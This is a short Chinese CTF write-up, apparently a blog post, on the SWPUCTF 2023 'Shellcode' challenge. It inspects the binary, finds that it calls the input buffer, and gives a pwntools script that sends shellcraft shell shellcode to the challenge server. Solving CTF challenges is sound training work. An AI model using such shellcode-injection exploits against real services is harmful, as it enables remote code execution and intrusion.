PWN手的成长之路-09-SWPUCTF 2023 秋季新生赛Shellcode

image

远程连接环境。没什么有效信息,只是提示我们这道题会用到 shellcode。
image

file 查看文件。64 位可执行 ELF 文件。
image

checksec 查看文件安全属性。有了栈溢出保护,以及 PIE 保护
image

IDA 打开文件,尝试反编译,但是失败了。
image

直接看汇编代码。
image
lea rax, [ebp+buf]:rax指向用户输入的缓冲区
call rax:直接调用用户输入的缓冲区地址
所以这题只需要发送一个shellcode就可以执行任意代码

exp:

from pwn import *  
r=remote('node4.anna.nssctf.cn',28998)  
  
context.log_level='debug'  
context.arch='amd64'  
context.os='linux'  
shellcode=asm(shellcraft.sh())  
  
r.send(shellcode)  
r.interactive()

得到 flag
image

posted @ 2025-10-05 20:09  B0rry  阅读(19)  评论(0)    收藏  举报